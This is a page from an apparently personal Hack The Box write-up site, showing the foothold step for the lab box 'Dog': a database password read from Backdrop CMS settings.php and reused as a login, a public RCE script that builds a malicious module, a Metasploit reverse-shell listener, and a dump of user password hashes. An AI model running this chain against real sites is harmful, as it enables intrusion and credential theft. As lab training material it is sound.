Hack The Box
LinkedIn
  • Hack The Box
    • Windows Boxes
      • Mantis
        • Recon
          • nmap
        • Eumeration
          • 1337
          • 8080
          • 445
          • 88
          • 1433,50255
          • rpc
          • enum4linux
        • Foothold
          • Enumeration
          • james
        • Priv Esc
        • Credentials
      • Outdated
        • Recon
          • nmap
        • Eumeration
          • 445
          • 25
        • Foothold
        • Priv Esc
        • Credentials
      • Driver
        • Recon
          • nmap
        • Eumeration
          • 445
          • 80
        • Foothold
        • Priv Esc
        • Credentials
      • Remote
        • Recon
          • nmap
        • Eumeration
          • 21
          • 111
          • 80
        • Foothold
        • Priv Esc
        • Credentials
      • Forest
        • Recon
          • nmap
        • Enumeration
          • 88
          • 445
          • 389,135
        • Foothold
          • Enumeration
          • Priv Esc
      • Manager
        • Recon
          • nmap
        • Enumeration
          • 80
          • 1433
          • 445
          • 88
        • Foothold
          • Enumeration
          • Priv Esc
      • Hospital
        • Recon
          • nmap
        • Enumeration
          • 80
          • 8080
        • Foothold
          • Priv Esc (Web Server)
          • Pivot
          • Priv Esc (Windows)
      • Querier
        • Recon
          • nmap
        • Enumeration
          • 445
          • 1433
          • digging
        • Foothold
        • Enumeration
        • Priv Esc
      • Sauna
        • Recon
          • nmap
        • Eunmeration
          • 80
            • ffuf
          • 445
          • 88
        • Foothold
        • Eumeration
        • Priv Esc
          • svc_mgr
        • Credentials
      • Active
        • Recon
          • nmap
        • Eumeration
          • 445
          • 88
          • enum4linux
        • Foothold
          • Enumeration
        • Priv Esc
      • Resolute
        • Recon
          • nmap
        • Eumeration
          • enum4linux
          • 445
          • rpc
          • Page 3
        • Foothold
          • Enumeration
        • Priv Esc
          • ryan
          • nt authority\system
        • Users
      • Legacy
        • Recon
          • nmap
        • Eumeration
          • 445
          • enum4linux
          • Page 2
        • Foothold
          • Enumeration
        • Priv Esc
        • Credentials
      • Granny
        • Recon
          • nmap
        • Eumeration
          • 80
        • Foothold
          • Enumeration
        • Priv Esc
        • Credentials
      • Grandpa
        • Recon
          • nmap
        • Eumeration
          • 80
        • Foothold
          • Enumeration
        • Priv Esc
        • Credentials
      • Bounty
        • Recon
          • nmap
        • Eumeration
          • 80
          • Page 1
          • Page 2
        • Foothold
          • Enumeration
        • Priv Esc
        • Credentials
      • Cascade
        • Recon
          • nmap
        • Eumeration
          • Page
          • Page 1
          • Page 2
          • enum4linux
        • Foothold
          • Enumeration
        • Priv Esc
        • Credentials
      • Mailing
        • Recon
          • nmap
        • Eumeration
          • 80
        • Foothold
        • Priv Esc
        • Credentials
    • Linux Boxes
      • Cypher
        • Recon
          • nmap
        • Eumeration
          • 80
          • Page 1
          • Page 2
        • Foothold
        • Priv Esc
        • Credentials
      • Union
        • Recon
          • nmap
        • Eumeration
          • 80
        • Foothold
        • Priv Esc
        • Credentials
      • Trick
        • Recon
          • nmap
        • Eumeration
          • 53
          • 25
          • 80
        • Foothold
        • Priv Esc
        • Credentials
      • Shoppy
        • Recon
          • nmap
        • Eumeration
          • 80
          • 9093
        • Foothold
        • Priv Esc
        • Credentials
      • Delivery
        • Recon
          • nmap
        • Eumeration
          • 80
          • 8065
        • Foothold
        • Priv Esc
        • Credentials
      • MetaTwo
        • Recon
          • nmap
        • Eumeration
          • 21
          • 80
        • Foothold
        • Priv Esc
        • Credentials
      • Codify
        • Recon
          • nmap
        • Eumeration
          • 80
            • ffuf
          • 22
          • 3000
        • Foothold
        • Priv Esc
          • joshua
          • root
        • emails
      • Valentine
        • Recon
          • nmap
          • vuln
        • Eumeration
          • 80
          • 443
          • 22
        • Foothold
          • Enumeration
        • Priv Esc
        • Credentials
      • Headless
        • Recon
          • nmap
        • Eumeration
          • 5000
          • 22
        • Foothold
          • Enumeration
        • Priv Esc
        • Credentials
      • Bizness
        • Recon
          • nmap
        • Eumeration
          • 443,80
          • 22
        • Foothold
          • Enumeration
        • Priv Esc
        • Credentials
      • Devvortex
        • Recon
          • nmap
        • Eumeration
          • 80
          • 22
        • Foothold
          • Enumeration
          • logan
        • Priv Esc
        • Credentials
      • Boardlight
        • Recon
          • nmap
        • Eumeration
          • Page
          • Page 1
          • Page 2
        • Foothold
          • Enumeration
        • Priv Esc
        • Credentials
      • Planning
        • Recon
          • nmap
        • Eumeration
          • 22
          • 80
        • Foothold
        • Priv Esc
        • Credentials
      • Dog
        • Recon
          • nmap
        • Eumeration
          • 80
        • Foothold
        • Priv Esc
        • Credentials
    • OSCP like Boxes
      • Linux
        • Jarvis
          • Recon
            • nmap
          • Eumeration
            • 80
            • 64999
          • Foothold
            • Enumeration
          • Priv Esc
            • Pepper
            • root
          • Credentials
        • UpDown
          • Recon
            • nmap
          • Eumeration
            • 80
          • Foothold
          • Priv Esc
          • Credentials
        • SolidState
          • Recon
            • nmap
          • Eumeration
            • 80
            • 4555
            • Page 2
          • Foothold
            • Enumeration
          • Priv Esc
          • Credentials
        • Node
          • Recon
            • nmap
          • Eumeration
            • 3000
          • Foothold
          • Priv Esc
            • tom
            • root
          • Credentials
        • Busqueda
          • Recon
            • nmap
          • Eumeration
            • 80
          • Foothold
            • Enumeration
          • Priv Esc
          • Credentials
        • Sau
          • Recon
            • nmap
          • Eumeration
            • 80
            • 55555
          • Foothold
            • Enumeration
          • Priv Esc
          • Credentials
        • Keeper
          • Recon
            • nmap
          • Eumeration
            • 80
          • Foothold
            • Enumeration
          • Priv Esc
          • Credentials
        • Broker
          • Recon
            • nmap
          • Eumeration
            • 80
            • 61613 61616
          • Foothold
            • Enumeration
          • Priv Esc
          • Credentials
        • Pandora
          • Recon
            • nmap
          • Eumeration
            • 80
            • 161 [UDP]
          • Foothold
            • Enumeration
          • Priv esc
            • Matt
            • root
          • Credentials
        • Soccer
          • Recon
            • nmap
          • Eumeration
            • 80
            • 9091
            • Page 2
          • Foothold
            • Enumeration
          • Priv Esc
            • Player
            • root
          • Credentials
        • Sense
          • Recon
            • nmap
            • web services
          • Eumeration
            • 80,443
          • Foothold
            • Enumeration
          • Priv Esc
          • Credentials
        • Nibbles
          • Recon
            • nmap
          • Eumeration
            • 80
              • Dir busting
          • Foothold
          • Priv Esc
          • Credentials
        • Editorial
          • Recon
            • nmap
          • Eumeration
            • 80
          • Foothold
          • Priv Esc
          • Credentials
      • Windows
        • Intelligence
          • Recon
            • nmap
            • web
          • Eumeration
            • 80
            • Page 1
            • Page 2
          • Foothold
            • Enumeration
          • Priv Esc
          • Credentials
        • StreamIO
          • Recon
            • nmap
            • web 443
          • Eumeration
            • 80
            • 443
            • Page 4
          • Exploit Chain
            • SQL Injection
            • Loggin into application
            • Exploiting master.php (Foothold)
          • Priv Esc
            • nikk37
            • JDGODD
            • Administrator/Martin
          • Credentials + Users
        • Escape
          • Recon
            • nmap
          • Eumeration
            • 445
            • 1433
            • Page 2
          • Foothold
            • Enumeration
          • Priv Esc
            • Ryan.Cooper
            • Administrator
            • Silver Ticket - Alternate Route
          • Credentials
        • SecNotes
          • Recon
            • nmap
          • Eumeration
            • 80
            • 8808
          • Foothold
            • Enumeration
          • Priv Esc
          • Credentials
        • Jeeves
          • Recon
            • nmap
          • Eumeration
            • 80
            • 5000
          • Foothold
            • Enumeration
          • Priv Esc
          • Credentials
        • Return
          • Recon
            • nmap
          • Eumeration
            • 80
          • Foothold
          • Priv Esc
          • Credentials
        • Active
          • Recon
            • nmap
            • enum4linux
          • Eumeration
            • 445
          • Foothold
            • Enumeration
          • Priv Esc
          • Credentials
        • Love
          • Recon
            • nmap
          • Eumeration
            • 80
            • Page 1
            • Page 2
          • Foothold
            • Intended route
            • Enumeration
          • Priv Esc
          • Credentials
        • ServMon
          • Recon
            • nmap
          • Eumeration
            • 21
            • 80
            • 8443
            • 445
          • Foothold
            • Enumeration
          • Priv Esc
          • Credentials
        • Support
          • Recon
            • nmap
          • Eumeration
            • 445
            • 88 Kerberos
            • 389
          • Foothold
            • Enumeration
          • Priv Esc
          • Credentials
        • Sauna
          • Recon
            • nmap
          • Eumeration
            • 80
          • Foothold
            • Enumeration
          • Priv Esc
          • Credentials
        • Forest
          • Recon
            • nmap
          • Eumeration
            • Page
            • Page 1
            • Page 2
          • Foothold
            • Enumeration
          • Priv Esc
          • Credentials
        • Perfection
          • Recon
            • nmap
          • Eumeration
            • 80
          • Foothold
          • Priv Esc
          • Credentials
    • Pro Labs
      • Dante
    • Template
      • Recon
        • nmap
      • Eumeration
        • Page
        • Page 1
        • Page 2
      • Foothold
      • Priv Esc
      • Credentials
Powered by GitBook
On this page

Was this helpful?

  1. Hack The Box
  2. Linux Boxes
  3. Dog

Foothold

❯ ls
core  files  index.php  layouts  LICENSE.txt  README.md  robots.txt  settings.php  sites  themes
❯ cat settings.php
<?php
/**
 * @file
 * Main Backdrop CMS configuration file.
 */

/**
 * Database configuration:
 *
 * Most sites can configure their database by entering the connection string
 * below. If using primary/replica databases or multiple connections, see the
 * advanced database documentation at
 * https://api.backdropcms.org/database-configuration
 */
$database = 'mysql://root:BackDropJ2024DS2024@127.0.0.1/backdrop';
$database_prefix = '';

We need a username

tiffany@dog.htb:BackDropJ2024DS2024
❯ searchsploit -m 52021
  Exploit: Backdrop CMS 1.27.1 - Authenticated Remote Command Execution (RCE)
      URL: https://www.exploit-db.com/exploits/52021
     Path: /usr/share/exploitdb/exploits/php/webapps/52021.py
    Codes: N/A
 Verified: True
File Type: Python script, Unicode text, UTF-8 text executable
Copied to: /home/adot/htb/dog/52021.py
❯ python 52021.py http://dog.htb
Backdrop CMS 1.27.1 - Remote Command Execution Exploit
Evil module generating...
Evil module generated! shell.zip
Go to http://dog.htb/admin/modules/install and upload the shell.zip for Manual Installation.
Your shell address: http://dog.htb/modules/shell/shell.php
❯ tar -czvf shell.tar shell
shell/
shell/shell.info
shell/shell.php
❯ msfconsole -q -x 'use exploit/multi/handler;set LHOST tun0; set LPORT 443; run'
[*] Using configured payload generic/shell_reverse_tcp
LHOST => tun0
LPORT => 443
[*] Started reverse TCP handler on 10.10.14.3:443
www-data@dog:/var/www/html$ grep bash /etc/passwd
grep bash /etc/passwd
root:x:0:0:root:/root:/bin/bash
jobert:x:1000:1000:jobert:/home/jobert:/bin/bash
johncusack:x:1001:1001:,,,:/home/johncusack:/bin/bash
mysql> show databases;
show databases;
+--------------------+
| Database           |
+--------------------+
| backdrop           |
| information_schema |
| mysql              |
| performance_schema |
| sys                |
+--------------------+
5 rows in set (0.01 sec)

mysql> use backdrop;
use backdrop;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed
mysql> show tables;
show tables;
+-----------------------------+
| Tables_in_backdrop          |
+-----------------------------+
| batch                       |
| cache                       |
| cache_admin_bar             |
| field_revision_comment_body |
| field_revision_field_image  |
<SNIP>
| taxonomy_term_hierarchy     |
| tempstore                   |
| url_alias                   |
| users                       |
| users_roles                 |
| variable                    |
| watchdog                    |
+-----------------------------+
59 rows in set (0.00 sec)

mysql> select * from users;
select * from users;
+-----+-------------------+---------------------------------------------------------+----------------------------+-----------+------------------+------------+------------+------------+------------+--------+----------+----------+---------+----------------------------+------------+
| uid | name              | pass                                                    | mail                       | signature | signature_format | created    | changed    | access     | login      | status | timezone | language | picture | init                       | data       |
+-----+-------------------+---------------------------------------------------------+----------------------------+-----------+------------------+------------+------------+------------+------------+--------+----------+----------+---------+----------------------------+------------+
|   0 |                   |                                                         |                            |           | NULL             |          0 |          0 |          0 |          0 |      0 | NULL     |          |       0 |                            | NULL       |
|   1 | jPAdminB          | $S$E7dig1GTaGJnzgAXAtOoPuaTjJ05fo8fH9USc6vO87T./ffdEr/. | jPAdminB@dog.htb           |           | NULL             | 1720548614 | 1720584122 | 1720714603 | 1720584166 |      1 | UTC      |          |       0 | jPAdminB@dog.htb           | 0x623A303B |
|   2 | jobert            | $S$E/F9mVPgX4.dGDeDuKxPdXEONCzSvGpjxUeMALZ2IjBrve9Rcoz1 | jobert@dog.htb             |           | NULL             | 1720584462 | 1720584462 | 1720632982 | 1720632780 |      1 | UTC      |          |       0 | jobert@dog.htb             | NULL       |
|   3 | dogBackDropSystem | $S$EfD1gJoRtn8I5TlqPTuTfHRBFQWL3x6vC5D3Ew9iU4RECrNuPPdD | dogBackDroopSystem@dog.htb |           | NULL             | 1720632880 | 1720632880 | 1723752097 | 1723751569 |      1 | UTC      |          |       0 | dogBackDroopSystem@dog.htb | NULL       |
|   5 | john              | $S$EYniSfxXt8z3gJ7pfhP5iIncFfCKz8EIkjUD66n/OTdQBFklAji. | john@dog.htb               |           | NULL             | 1720632910 | 1720632910 |          0 |          0 |      1 | UTC      |          |       0 | john@dog.htb               | NULL       |
|   6 | morris            | $S$E8OFpwBUqy/xCmMXMqFp3vyz1dJBifxgwNRMKktogL7VVk7yuulS | morris@dog.htb             |           | NULL             | 1720632931 | 1720632931 |          0 |          0 |      1 | UTC      |          |       0 | morris@dog.htb             | NULL       |
|   7 | axel              | $S$E/DHqfjBWPDLnkOP5auHhHDxF4U.sAJWiODjaumzxQYME6jeo9qV | axel@dog.htb               |           | NULL             | 1720632952 | 1720632952 |          0 |          0 |      1 | UTC      |          |       0 | axel@dog.htb               | NULL       |
|   8 | rosa              | $S$EsV26QVPbF.s0UndNPeNCxYEP/0z2O.2eLUNdKW/xYhg2.lsEcDT | rosa@dog.htb               |           | NULL             | 1720632982 | 1720632982 |          0 |          0 |      1 | UTC      |          |       0 | rosa@dog.htb               | NULL       |
|  10 | tiffany           | $S$EEAGFzd8HSQ/IzwpqI79aJgRvqZnH4JSKLv2C83wUphw0nuoTY8v | tiffany@dog.htb            |           | NULL             | 1723752136 | 1723752136 | 1749273564 | 1749272404 |      1 | UTC      |          |       0 | tiffany@dog.htb            | NULL       |
+-----+-------------------+---------------------------------------------------------+----------------------------+-----------+------------------+------------+------------+------------+------------+--------+----------+----------+---------+----------------------------+------------+
9 rows in set (0.00 sec)

SQL enum led nowhere lol

Previous80NextPriv Esc

Last updated 13 hours ago

Was this helpful?

Visit

http://dog.htb/modules/shell/shell.php
Backdrop CMS 1.27.1 - Authenticated Remote Command Execution (RCE)Exploit Database
Logo